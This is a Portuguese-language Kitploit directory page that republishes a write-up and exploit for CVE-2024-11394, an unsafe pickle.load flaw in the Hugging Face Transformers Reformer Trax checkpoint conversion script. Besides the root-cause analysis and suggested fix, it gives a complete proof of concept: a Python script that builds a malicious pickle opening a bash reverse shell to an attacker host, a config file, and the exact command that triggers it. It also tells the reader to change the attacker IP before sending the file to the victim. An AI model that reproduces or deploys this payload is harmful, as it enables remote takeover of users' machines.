Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/piyush-bhor/cve-2024-11394
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoSegurança de IA
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Detalhes Técnicos e Exploit para CVE-2024-11394

Ver Repositório
há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-11394

Vulnerabilidade de Execução Remota de Código por Desserialização de Dados Não Confiáveis no Modelo Trax do Hugging Face Transformers

Visão geral de alto nível e efeitos da vulnerabilidade:
A vulnerabilidade permite que um atacante execute código arbitrário na máquina hospedeira ao fornecer um ficheiro de checkpoint reformer trax malicioso para o script convert_reformer_trax_checkpoint_to_pytorch.py no repositório Hugging Face Transformers.
Se um utilizador desavisado usar um ficheiro de checkpoint reformer trax de terceiros, executar o script convert_reformer_trax_checkpoint_to_pytorch.py levará à execução remota de código (RCE) no sistema da vítima.

O Produto Vulnerável

  • Produto: Hugging Face Transformers
  • Módulo: Reformer
  • Ficheiro: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Versão: Última
  • Permalink GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

Análise da Causa Raiz

  • Descrição detalhada da vulnerabilidade: A vulnerabilidade resulta da desserialização insegura de dados não confiáveis. O script usa pickle.load para carregar o ficheiro de checkpoint e é vulnerável a execução de código.
  • Fluxo de código desde a entrada até à condição vulnerável:
  1. O utilizador descarrega um modelo reformer trax de terceiros.
  2. O utilizador executa o script convert_reformer_trax_checkpoint_to_pytorch.py e passa-lhe o ficheiro de checkpoint.
  3. O script convert_reformer_trax_checkpoint_to_pytorch.py desserializa o ficheiro de checkpoint e executa o código malicioso.
  • Ponto de injeção: A vulnerabilidade ocorre no ponto onde pickle.load é chamado.
    Permalink GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • Correções sugeridas: Substituir pickle.load por yaml.safe_load(yaml_file) ou json.load para evitar a execução de código arbitrário.

  • Instruções para executar a prova de conceito:

  1. Execute exploit.py para criar um ficheiro pickle malicioso malicious.pkl que criará uma shell reversa no sistema da vítima:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Ficheiro pickle malicioso criado com sucesso.")

Nota: Altere o ATTACKER_IP e o ATTACKER_PORT antes de enviar o ficheiro para a vítima.

  1. Crie um ficheiro de configuração config.json:
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. Execute o script convert_reformer_trax_checkpoint_to_pytorch.py e passe o ficheiro malicious.pkl para --trax_model_pkl_path:
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Nota: O pytorch_dump_folder_path pode ser definido como qualquer diretório.

Link para Download do Software:
https://github.com/huggingface/transformers/tree/main

Baixar ferramenta